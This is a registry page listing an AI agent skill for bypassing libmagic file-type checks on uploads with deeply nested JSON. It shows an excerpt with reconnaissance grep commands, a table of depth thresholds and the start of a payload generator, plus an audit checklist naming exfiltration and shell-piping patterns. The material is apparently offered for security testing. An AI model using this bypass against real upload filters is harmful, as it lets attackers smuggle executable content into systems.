libmagic-type-confusion SKILL.md skillA
libmagic-type-confusion from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/libmagic-type-confusion@git:20260529.8f6ea0ePins git:20260529.8f6ea0e in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/libmagic-type-confusion/SKILL.md- Versions recorded
- 2
- Latest version
- git:20260529.8f6ea0e, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 3,120 bytes
- Repository stars
- 22
- License
- MIT
Bypass file type detection using libmagic's JSON nesting depth limit to force type confusion. Use when file uploads validate type via libmagic or the file command and you need to smuggle executable content past MIME checks.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# libmagic Type Confusion via Deep JSON Nesting
## Pattern
- Application validates upload type using `file` or libmagic bindings
- Dangerous formats (HTML, SVG, script-capable) are blocked
- A later processing stage handles the uploaded file based on detected type
## Workflow
### 1. Detect libmagic usage
```bash
# Check if target uses libmagic/file command for validation
rg -i "finfo|magic_open|python-magic|ruby-filemagic|file_get_contents.*mime" --type py --type rb --type php src/
# Check file command version (depth limit varies)
file --version 2>&1 | head -1
```
**Checkpoint:** If target uses Node.js-only MIME, Apache Tika, or .NET-native detection, this technique does not apply.
### 2. Determine depth threshold
| Version | JSON depth limit | Nesting needed |
|---------|------------------|----------------|
| libmagic 5.41 | ~10 levels | easy |
| libmagic 5.46+ | ~500 levels | 510+ levels |
### 3. Generate confused payload
```python
#!/usr/bin/env python3
import json, sys
def make_payload(depth=510, target_sig="%PDF-1.4"):
obj = "terminal"
for i in range(depth):
obj = {f"l{i}": obj}
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/libmagic-type-confusion@sha256:d38d47a05c9e13b0The line at the top of this page pins the label git:20260529.8f6ea0e, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_2635r4femslusgza)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 2 versions of this file, between May 4, 2026 and May 29, 2026, about one every 25 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.8f6ea0e latest | 2026-05-29 | 8f6ea0e | 3,120 B | A | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 2,920 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (3120 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_2635r4femslusgza GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/libmagic-type-confusion GET https://markdownregistry.com/api/v1/blob/d38d47a05c9e13b0c26912678ca52bae29139e1e3a86f3064d3d7fa91e60cfe6
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.